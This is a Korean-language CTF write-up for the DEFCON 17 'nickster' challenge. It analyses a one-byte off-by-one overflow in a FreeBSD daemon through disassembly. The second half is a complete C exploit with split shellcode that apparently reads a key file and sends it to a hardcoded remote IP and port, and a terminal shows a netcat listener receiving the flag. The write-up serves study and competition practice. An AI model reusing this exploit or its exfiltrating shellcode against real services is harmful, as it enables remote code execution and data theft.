Defcon CTF 17th Nickster Report

StolenByte(Son Choong-Ho)
http://StolenByte.egloos.com
thscndgh_4@hotmail.com
WOWHACKER
2009. 08. 09

{0x00 Contents}

{0x01 About Nickster}

[StolenByte@StolenByte~] # 경어를 삼가하도록 하겠습니다.
이 문제는 Steal과 Overwrite 둘다 가능한 문제다.
디버깅을 하면 쉽게 취약점을 찾을 수 있으나, 취약점을 통해 실행시킬 Shellcode 를 올리는 것이 쉽지 않은 문제다.

```
[StolenByte@StolenByte ~]# nc localhost 2337
1) Add user
2) Remove user
3) View user
4) List users
1
Enter new user nick: a
Continue (y/n)? y
1) Add user
2) Remove user
3) View user
4) List users
4
Nick: a, id = 1, reg time = Mon Aug 10 10:29:50 2009
```

{0x02 Analaysis}

[StolenByte@StolenByte ~/bin/nickster]# file nickd
nickd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, statically linked, FreeBSD-style, stripped

⇨ 정적 freebsd 7.2 바이너리, 디버깅정보 삭제

이 문제는 1byte Buffer Overflow 문제

이런 기능이 많은 기능의 데몬은 처음 접하면 상당히 분석하기 까다롭다.
그 기능들 중 한곳에서 취약점이 발생하기 때문이다.
그러나, 이런 문제들은 대부분 Buffer Overflow, Format String Bug 문제이기 때문에 입력하는 메뉴만 찾아서 공략하면 된다.

```
[StolenByte@StolenByte ~]# nc localhost 2337
1) Add user
2) Remove user
3) View user
4) List users
```

서버로 접속하면 다음과 같은 메뉴를 볼 수 있다.

```
.text:0804909E                  mov     [esp+28h+var_24], offset a1AddUser ; "1) Add user\ n"
.text:080490A6                  mov     eax, [ebp+arg_0]
.text:080490A9                  mov     [esp+28h+var_28], eax
.text:080490AC                  call    sub_8048370
.text:080490B1                  mov     [esp+28h+var_20], 0
.text:080490B9                  mov     [esp+28h+var_24], offset a2RemoveUser ; "2) Remove user\ n"
.text:080490C1                  mov     eax, [ebp+arg_0]
.text:080490C4                  mov     [esp+28h+var_28], eax
.text:080490C7                  call    sub_8048370
.text:080490CC                  mov     [esp+28h+var_20], 0
.text:080490D4                  mov     [esp+28h+var_24], offset a3ViewUser ; "3) View user\ n"
.text:080490DC                  mov     eax, [ebp+arg_0]
.text:080490DF                  mov     [esp+28h+var_28], eax
.text:080490E2                  call    sub_8048370
.text:080490E7                  mov     [esp+28h+var_20], 0
.text:080490EF                  mov     [esp+28h+var_24], offset a4ListUsers ; "4) List users\ n"
```

```
.text:080490F7                  mov     eax, [ebp+arg_0]
.text:080490FA                  mov     [esp+28h+var_28], eax
.text:080490FD                  call    sub_8048370
```

메뉴를 뿌려주는 루틴이다. 메뉴를 뿌려준 후, 메뉴를 선택하는 루틴이 나온다.

```
.text:08049133                  cmp     [ebp+var_14], 32h
.text:08049137                  jz      short loc_8049162
.text:08049139                  cmp     [ebp+var_14], 32h
.text:0804913D                  jg      short loc_8049147
.text:0804913F                  cmp     [ebp+var_14], 31h
.text:08049143                  jz      short loc_8049155
.text:08049145                  jmp     short locret_8049187
.text:08049147 ; ---------------------------------------------------------------------------
.text:08049147
.text:08049147 loc_8049147:                             ; CODE XREF:
sub_8049090+ADj
.text:08049147                  cmp     [ebp+var_14], 33h
.text:0804914B                  jz      short loc_804916F
.text:0804914D                  cmp     [ebp+var_14], 34h
.text:08049151                  jz      short loc_804917C
```

입력한 값이 1과 2일경우 해당 메뉴 루틴으로 점프를 한다.

2보다 클 경우에는 2보다 큰 수가 3인지 4인지 확인 후, 입력한 값이 3과 4일 경우 해당 메뉴로 점프를 한다.

이 메뉴들 중 입력을 받는 메뉴는 Add User메뉴이다.

이 메뉴에 대한 루틴은 다음과 같다.

```
.text:08048918                  mov     [esp+28h+var_24], offset
aEnterNewUserNi ; "Enter new user nick: "
.text:08048920                  mov     eax, [ebp+arg_0]
.text:08048923                  mov     [esp+28h+var_28], eax
.text:08048926                  call    sub_8048370
```

"Enter new user nick: "이라는 문장을 뿌려준다.

```
.text:0804892B                  mov     [esp+28h+var_1C], 0Ah
.text:08048933                  mov     [esp+28h+var_20], 0Ch
.text:0804893B                  lea     eax, [ebp+var_10]
.text:0804893E                  add     eax, 4
.text:08048941                  mov     [esp+28h+var_24], eax
.text:08048945                  mov     eax, [ebp+arg_0]
.text:08048948                  mov     [esp+28h+var_28], eax
.text:0804894B                  call    sub_80482F0
```

총 12byte만큼 받아온다.

```
.text:0804895E                  mov     eax, [ebp+var_10]
.text:08048961                  mov     [ebp+eax+var_C], 0
.text:08048966                  mov     [ebp+var_10], 0
```

취약점 발생부분!!

send[받은 크기] = 0 이렇게 되어있다.

하지만 이렇게 되면 메모리에 문제가 발생된다.

SEND (총 12byte)												xx
A	B	C	D	E	F	G	H	I	J	K	**L**	

원래대로 라면 저기 L을 0으로 만들어야겠지만, send[받은 크기]처럼 하게되면 L을 넘어서 xx영역에 있는 메모리를 0으로 만들게 된다.

마침 다음 메모리는 Return Address의 포인터 주소가 저장 되어있어서 Return Address 포인터 주소에 영향을 줄 수 있지만, 임의로 바꿀 수 있는것도 아닌 **무조건 0으로 1byte가 덮어쉬어진것이다.**

Return Address는 4번 메뉴(List users)를 이용하여 Return Address 덮어쉬우는 동시 Shellcode까지 남길 수 있다.

```
.text:08048A57                  mov     [esp+18h+var_14], offset
aNickSIdDRegTim ; "Nick: %s, id = %d, reg time = %s"
.text:08048A5F                  mov     eax, [ebp+arg_0]
.text:08048A62                  mov     [esp+18h+var_18], eax
.text:08048A65                  call    sub_8063A20
```

Add user 메뉴를 통해 입력한 내용을 출력해주는 부분이다.

출력을 해주면서 stack에 쌓는데 그러면서 **Return Address까지 덮을 수 있는 취약점이 발생한 것이다.**

그러나 무제한 stack을 쌓을 수 있는것도 아니다.

```
.text:080488CB                  cmp     eax, 63h
.text:080488CE                  jg      loc_80489D5
```

Add user를 100번 넘게 하면 할 수 없다.

100번을 융통성을 발휘해서 Return Address를 덮어쉬우면 되겠지만, "Nick: %s, id = %d, reg time = %s" 중 Nick : %s의 %s로 딱 맞춰야한다.

상당히 많이 덮어야하므로 Return Address부분에 딱 맞추기가 생각보다 힘들다.

이제 Shellcode만 올리면 되는데, Shellcode는 "Nick: %s, id = %d, reg time = %s" 에 Nick: %s부분 밖에 Shellcode가 올라가질 않는다.
그리고 Nick에는 총 **11byte의 Shellcode밖에 올라가질 않는다.**
그래서 **jmp를 이용하여 Shellcode를 나눠서 올려야한다.**

Shellcode를 문장별로 최고 9byte까지 잘라 + jmp까지 추가하면 쉘코드가 완성된다.
그리고 Shellcode자체에 je,jmp등 점프문이나, call, ret 등이 들어가는 것은 자신이 직접 stack에 맞게 따로 수정을 해줘야 하므로 저런 명령이 들어가지 않는 Shellcode를 사용하면 쉽게 할 수 있다.

{0x03 Exploit}

Terminal 1

```
[StolenByte@StolenByte ~]# ./nickd_ex
========= DEFCON Capture the Flag 17th nickster Exploit by StolenByte
=========
[!] Connect Success
[+] Input ShellCode
[+] Buffer Overflow
[+] Input Return Address
[+] Exploit!!
[!] Attack Success!!
[!] Finish
```

Terminal 2

```
[StolenByte@StolenByte ~]# nc -l 8000
WOWHACKER
```

Nickster_exploit_by_StolenByte.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

#define ATTACK_IP           "127.0.0.1"
#define ATTACK_PORT          2337

#define MAX_BUF              2048

int sock_conn(char *ip, int port)
{
      int sockfd;
      struct sockaddr_in sock;
      struct hostent* host_st;

      sockfd = socket(PF_INET, SOCK_STREAM, 0);
      if(sockfd < 0)
            err("Socket() Error!!\  n");
```

```
	host_st = gethostbyname(ip);
	if(host_st == NULL)
		err("gethostbyname() Error!!\ n");

	bzero(sock.sin_zero, sizeof(sock.sin_zero));
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);
	sock.sin_addr = *((struct in_addr *)host_st->h_addr);

	if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0)
		err("Connect() Error!!\ n");

	return sockfd;
}

int inline err(char* msg)
{
	perror(msg);
	exit(-1);
}

void sock_write(int sock, char* payload)
{
	int check = 0;

	check = write(sock, payload, strlen(payload));
	if(check < 0)
		err("[!] Write Error\ n");
}

void sock_read(int sock)
{
	int i = 0;
	int check = 0;
	char buf[MAX_BUF];
	char payload[3] = {0, };

	memset(buf, 0x00, MAX_BUF);
	check = read(sock, buf, MAX_BUF);
	if(check < 0)
		err("[!] Read Error\ n");
}

void exploit_loop(int sock, int count, char* msg)
{
		int i;
		char payload[MAX_BUF];
```

```
        memset(payload, 0x00, MAX_BUF);

        for(i=0;i<count;i++)
        {
            sprintf(payload, "1\ n");
            sock_write(sock, payload);

            sock_read(sock);

            sprintf(payload, "%s\ n", msg);
            sock_write(sock, payload);

            sock_read(sock);

            sprintf(payload, "y\ n");
            sock_write(sock, payload);

            sock_read(sock);
            sock_read(sock);
        }
}

int main( int argc, char **argv)
{
    int i;
    int sock = 0;
    char payload[MAX_BUF];
    unsigned char shellcode[] =
        "\ x31\ xc0\ x6a\ x79\ x66\ x68\ x6b\ x65\ xeb\ x34"
        "\ x89\ xe3\ x50\ x53\ xeb\ x34"
        "\ xb0\ x05\ x50\ xcd\ x80\ x89\ xc3\ x31\ xc0\ xeb\ x34"
        "\ x31\ xc9\ x66\ xb9\ x05\ x0d\ x51\ x89\ xe6\ xeb\ x34"
        "\ x56\ x53\ xb0\ x03\ x50\ xcd\ x80\ x89\ xc5\ xeb\ x34"
        "\ x31\ xc0\ xb0\ x06\ x53\ x50\ xcd\ x80\ xeb\ x34"
        "\ x31\ xc0\ x50\ x6a\ x01\ x6a\ x02\ xb0\ x61\ xeb\ x34"
        "\ x50\ xcd\ x80\ x89\ xc2\ xeb\ x34"
        "\ x68\ xc0\ xa8\ x7b\ x6c\ xeb\ x34"
        // Server IP Address (ex. 192.168.123.108)
        "\ x68\ xaa\ x02\ x1f\ x40\ xeb\ x35"
        // Port (ex.8000)
        "\ x89\ xe0\ x6a\ x10\ x50\ x52\ x31\ xc0\ xeb\ x35"
        "\ xb0\ x62\ x50\ xcd\ x80\ x31\ xc0\ x55\ x56\ xeb\ x35"
        "\ x52\ xb0\ x04\ x50\ xcd\ x80\ x31\ xc0\ x40\ xeb\ x35"
        "\ x50\ x50\ xcd\ x80";
    int shellcode_size[] = {0, 10, 6, 11, 11, 11, 10, 11, 7, 7, 7, 10, 11, 11, 4};
    int size = 0;
```

```
    unsigned char ret_addr[] =
        "\ x41\ x41\ xc2\ xd2\ xbf\ xbf\ n";

    printf("========= DEFCON Capture the Flag 17th Nickster Exploit by
StolenByte =========\ n");

    /* Connect Server   */
    sock = sock_conn(ATTACK_IP, ATTACK_PORT);
    printf("[!] Connect Success\ n");

    sock_read(sock);
    sock_read(sock);

    /* Input ShellCode   */
    printf("[+] Input ShellCode\ n");
    for(i=0;i<14;i++)
    {
        sprintf(payload, "1\ n");
        sock_write(sock, payload);

        sock_read(sock);

        strncpy(payload, shellcode+size, shellcode_size[i+1]);
        size += shellcode_size[i+1];
        sprintf(payload, "%s\ n", payload);
        sock_write(sock, payload);

        sock_read(sock);

        memset(payload, 0x00, sizeof(payload));
        sprintf(payload, "y\ n");
        sock_write(sock, payload);

        sock_read(sock);
        sock_read(sock);
    }

    /* Buffer Overflow   */
    printf("[+] Buffer Overflow\ n");
    exploit_loop(sock, 78, "AAAAAAAAAAA");
    exploit_loop(sock, 4, "AAAAAAA");
    exploit_loop(sock, 2, "AAAAA");

    /* Input Return Address   */
    printf("[+] Input Return Address\ n");
    sprintf(payload, "1\ n");
```

```
    sock_write(sock, payload);

    sock_read(sock);

    sock_write(sock, ret_addr);

    sock_read(sock);

    sprintf(payload, "y\ n");
    sock_write(sock, payload);

    sock_read(sock);
    sock_read(sock);

    sprintf(payload, "4\ n");
    sock_write(sock, payload);

    sock_read(sock);
    sock_read(sock);
    sock_read(sock);
    sock_read(sock);

    sock_read(sock);

    sprintf(payload, "y\ n");
    sock_write(sock, payload);

    sock_read(sock);
    sock_read(sock);

    /* Exploit!!   */
    printf("[+] Exploit!!\ n");
    sprintf(payload, "1\ n");
    sock_write(sock, payload);

    sock_read(sock);

    sprintf(payload, "AAAAAAAAAAAA\ n");
    sock_write(sock, payload);

    sock_read(sock);

    sprintf(payload, "y\ n");
    sock_write(sock, payload);

    sock_read(sock);
    sock_read(sock);
```

```
    printf("[!] Attack Success!!\  n");
    printf("[!] Finish\  n");

    return 0;
}
```